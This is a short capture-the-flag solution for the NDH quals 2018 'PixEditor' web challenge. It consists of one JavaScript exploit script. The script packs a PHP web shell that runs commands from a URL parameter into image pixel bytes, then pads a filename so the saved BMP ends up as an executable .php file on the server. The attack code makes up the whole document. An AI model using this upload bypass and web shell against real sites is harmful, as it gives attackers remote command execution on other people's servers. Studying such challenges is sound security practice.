NDH quals CTF 2018 - Web PixEditor - RushB%

mk_payload.js

var phpcode = "die(shell_exec($_GET['b']));";

var pld = "  <?php \r\n"+phpcode+"\r\n//";

var canvas = document.createElement("canvas");
var ctx = canvas.getContext('2d');

var pos = 0, r, g, b;
for(var i=0; i<32; ++i) {
    for(var j=0; j<32; ++j) {
        if(pos < pld.length) {
            r = pld.charCodeAt(pos++);
            g = pld.charCodeAt(pos++);
            b = pld.charCodeAt(pos++);
            ctx.fillStyle = 'rgba('+b+','+g+','+r+')';
        } else {
            ctx.fillStyle = 'rgba(0,0,0)';
        }
        ctx.fillRect(j, i, 1, 1);
    }
}

var filename = 'image';
for(;filename.length < 46;)
    filename += '_';
filename += ".php";
for(;filename.length < 112;)
    filename += '_';
filename += ".BMP";

$.post("save.php", {'data': JSON.stringify(Array.from(ctx.getImageData(0,0,32,32).data)), 'name': filename, 'format': 'BMP'}, function( res ){
   $('#divResult').html(res);
});